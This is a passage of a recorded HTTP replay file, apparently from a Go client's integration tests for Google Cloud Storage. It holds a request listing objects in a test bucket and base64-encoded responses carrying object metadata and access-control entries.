Jwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMiIsIm5hbWUiOiJvYmoyIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6IkNDMXdsd3JNT0lxMGR2TWtNeWxVaGc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyP2dlbmVyYXRpb249MTU1NjgzNTg0NTA0OTI0NSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6ImpWNUFWUT09IiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV19" - } - }, - { - "ID": "2eeefee032c6e805", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=13\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "9705" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:11 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:11 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq55nB00t16AHTo1gSxBFUNplz5SJcGYBOeCPsK-MD5OLO_kHKT3YNZq69AAHpozaWVrTU_jDQqiqMFSoPhhmlF2dR1mcq6Ihk_y8uuFY6FM4O_hmI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzIiwibmFtZSI6Im9iai93aXRoL3NsYXNoZXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidWV6L2hKNndBcmVEUW5jY0RVZHhmZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzP2dlbmVyYXRpb249MTU1NjgzNTg0NTUxMTAxOCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqL3dpdGgvc2xhc2hlcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1NTExMDE4IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJvZW8rRkE9PSIsImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMiIsIm5hbWUiOiJvYmoyIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwi